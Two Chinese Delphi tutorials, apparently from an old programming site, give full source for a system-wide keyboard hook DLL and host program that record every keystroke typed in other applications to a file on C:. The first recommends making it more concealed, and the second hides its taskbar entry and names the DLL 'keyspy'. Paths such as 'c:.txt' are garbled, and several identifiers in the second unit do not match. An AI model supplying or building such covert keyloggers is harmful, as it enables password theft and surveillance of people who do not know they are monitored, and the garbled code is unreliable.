在WINDOWS系统下,应用程序常常要截获其他程序的消息,并加以处理(例如跟踪键盘或鼠标的按键状况等)。现在,我们假设在前台进行正常操作,在后台利用HOOK程序为系统安装一个键盘挂钩,当有按键操作时,系统发给键盘挂钩对应的消息,而这些消息被HOOK程序截获,并加以相应的处理,这样就可以监视键盘的使用状况了。
  
  一.实现方法
  DELPHI提供了强大的可视化集成开发环境,它使得在Windows下的应用程序开发变得更加广泛,因此我们将用DELPHI编写一个动态链接库,然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下:
  * 用DELPHI创建一个使用键盘挂钩的动态链接库HK.DLL
  * 用DELPHI编写一个使用上述DLL的可执行文件HOOK.EXE
  二.实现步骤
  1.创建动态链接库
  * 选择FILE菜单中的NEW选项,选择DLL产生一个新的模板,保存为HK.DPR
  library HK .
  uses
   SysUtils,
   Classes,
   hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义
   exports //DLL的输出函数
   EnableHotKeyHook,
   DisableHotKeyHook;
  
  begin
   hNextHookProc :=0;
   Assign(f,'c:.txt');//将捕获的键值存入C盘的“code.txt”文件中
   Reset(f); //初始化“code.txt”文件
   procSaveExit := ExitProc; //DLL释放时解除挂钩
   ExitProc := @HotKeyHookExit;
  end.
  * 选择FILE菜单中的NEW选项,选择UNIT生成HKPROC.PAS
  unit hkproc;
  interface
  uses
   Windows,Messages;
  var
   f :file of char;
  c:char;
  i :integer;
  j :integer;
   hNextHookProc : HHook;
   procSaveExit : Pointer;
  function KeyboardHookHandler(iCode : Integer;
   wParam : WPARAM;
   lParam : LPARAM) : LRESULT; stdcall ; export;
  function EnableHotKeyHook : BOOL ; export ;
  function DisableHotKeyHook : BOOL; export ;
  procedure HotKeyHookExit ; far ;
  implementation
  function KeyboardHookHandler(iCode : Integer;
   WParam : WPARAM;
   lParam : LPARAM) : LRESULT ;stdcall ; export;
  const
   _KeyPressMask = $80000000 ;
  begin
   Result :=0;
   if iCode <0 then
   begin
   Result :=CallNextHookEx(hNextHookProc,iCode,
   wParam,lParam);
   Exit;
   end;
   if((lParam and _KeyPressMask)=0) then
   begin
   i:=getkeystate($10); //返回Shift键的状态
   j:=getkeystate($14); //返回Caps Lock键的状态
   if((j and 1)=1 )then //判断CapsLock是否按下
   begin
   //判断Shift 是否按下
   if ((i and _KeyPressMask)=_KeyPressMask) then
   begin
   if (wparam<65) then //判断是字母键还是数字键
   begin
   c:=chr(wparam-16);
   end
   else
   begin
   c:= chr(wparam+32);
   end;
   end
   else
   begin
   if (wparam<65) then
   begin
   c:=chr(wparam);
   end
   else
   begin
   c:=chr(wparam);
   end;
   end;
   end
   else
   begin
   if ((i and _KeyPressMask)=_KeyPressMask) then
   begin
   if (wparam<65) then
   begin
   c:=chr(wparam-16);
   end
   else
   begin
   c:= chr(wparam);
   end;
   end
   else
   begin
   if (wparam<65) then
   begin
   c:=chr(wparam);
   end
   else
   begin
   c:=chr(wparam+32);
   end;
   end;
   end;
   seek(f,FileSize(f));
   write(f,c); //将捕获的键码存入文件
   end;
  end;
  
  function EnableHotKeyHook:BOOL;export;
  begin
  Result:=False;
  if hNextHookProc <> 0 then exit;
  hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,
  KeyboardHookHandler,Hinstance,0);
  Result:=hNextHookProc <>0 ;
  end;
  
  function DisableHotKeyHook:BOOL; export;
  begin
   if hNextHookPRoc <> 0 then
   begin
   UnhookWindowshookEx(hNextHookProc);
   hNextHookProc:=0;
   Messagebeep(0);
   Messagebeep(0);
 
 
   end;
   Result:=hNextHookPRoc=0;
  end;
  
  procedure HotKeyHookExit;
  begin
   if hNextHookProc <> 0 then DisableHotKeyHook;
   close(f); //关闭文件并自动解除挂钩
   ExitProc:=procSaveExit;
  end;
  end.
  * 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:”目录下。
  
   2.创建调用DLL的EXE程序HOOK.EXE
  * 选择FILE菜单中的NEW选项,在New Items窗口中,选择Application选项。在窗体Form中,加入两个按键,一个定义为挂钩,另一个定义为解脱,同时加入一个文本框以提示挂钩的设置状况。将Unit1存为“c:.pas”,其相应的代码如下:
  
  unit hk;
  interface
  
  uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
  
  type
   TForm1 = class(TForm)
   Button1: TButton;
   Button2: TButton;
   Edit1: TEdit;
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
  
   private
   { Private declarations }
   public
   { Public declarations }
   end;
  
  var
   Form1: TForm1;
  
  implementation
  
  {$R *.DFM}
  
  function EnableHotKeyHook : BOOL;external 'HK.dll';
  //声明HOOK . DLL中的两函数
  function DisableHotKeyHook :BOOL;external 'HK.dll';
  
  procedure TForm1.Button1Click(Sender: TObject);
  begin
   if EnableHotKeyHook() then
   begin
   edit1.text :='设置挂钩'
   end
  end;
  
  procedure TForm1.Button2Click(Sender: TObject);
  begin
   if DisableHotKeyHook() then
   begin
   edit1.Text :='挂钩解脱'
   end
  end;
  end.
  * 选取Views菜单中的Project Source,将Project1存为“c:.dpr”,其代码如下:
  
  program hook;
  uses
   Forms,
   hk in 'hk.pas' {Form1};
  {$R *.RES}
  
  begin
   Application.Initialize;
   Application.CreateForm(TForm1, Form1);
   Application.Run;
  end.
  
  * 编译生成HOOK.EXE 程序并存入“c:”目录下。预先用“记事本”在“c:”目录下建立CODE.TXT文件,运行HOOK程序并单击“挂钩”键,文本框提示“设置系统挂钩”,这时启动写字板等应用程序,所键入的字母和数字将被记录在CODE.TXT文件中。
  单击“解脱”键,文本框显示“挂钩解脱”,程序将停止对键盘的捕获。
  点击示意图
  三. 结束语
  将上述例子稍加改动,就可为系统安装其他类型的挂钩,同时为了增强程序的隐蔽性,可利用DELPHI中丰富的控件,将上述程序运行后,只需在屏幕右下部时钟处显示一个图标,就可以跟踪键盘等系统部件的工作状况了。
==================================================================
在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专
业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利
用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够
很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中
的具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现:
Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。
1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过
程。代码如下:
library keyspy;
uses
windows, messages, hookproc in 'hookproc.pas';
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
2.在Hookproc.pas中实现了钩子具体过程:
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const
afilename='c:.txt';//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit; end;
end.
二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。
unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定义一个用户消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll';
procedure tform1.icontray(var msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown then
sethook1click(self);
if msg.LParam=wm_rbuttondown then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message or nif_icon or nif_tip;
shell_notifyicon(nim_add,@nid);
SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure TForm1.sethook1Click(Sender: TObject);
begin
setkeyhook;
end;
procedure TForm1.endhook1Click(Sender: TObject);
begin
endkeyhook;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
nid.uFlags :=0;
shell_notifyicon(nim_delete,@nid);
end;
procedure TForm1.Close1Click(Sender: TObject);
begin
application.terminate;
end;
该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引
用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的
内容,我相信这篇文章能对许多Delphi的初学者有所帮助。
该程序在Win98、Delphi4.0中正常运行。